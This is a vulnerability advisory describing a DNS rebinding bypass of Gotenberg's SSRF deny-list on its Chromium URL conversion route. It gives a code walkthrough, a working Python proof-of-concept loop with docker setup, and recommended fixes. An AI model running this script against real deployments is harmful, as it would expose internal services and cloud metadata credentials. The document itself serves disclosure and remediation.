Gotenberg's DNS rebinding bypasses SSRF validation on Chromium URL conversion routes

Summary

FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.

Details

pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:

func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
    _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
    return err
}

The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.

The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:

err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)

This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.

The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.

Proof of Concept

Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.

Setup:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
    'mkdir -p /tmp/rebind_srv && \
     echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
    'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'

Alice runs the attack without auth:

import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"

hits = 0
for i in range(20):
    r = requests.post(
        f"{T}/forms/chromium/convert/url",
        files={"url": (None, REBIND)},
        timeout=30,
    )
    if r.status_code != 200:
        continue
    open("/tmp/_r.pdf", "wb").write(r.content)
    txt = subprocess.run(
        ["pdftotext", "/tmp/_r.pdf", "-"],
        capture_output=True, text=True,
    ).stdout
    if MARKER in txt:
        hits += 1

print(f"{hits}/20 rebind hits")

Observed output against gotenberg 8.31.0:

2/20 rebind hits

The marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.

Impact

An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.

Recommended Fix

Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:

decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
    allow = false
} else if len(decision.Pinned) > 0 {
    pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
    req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}

Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.

Found by aisafe.io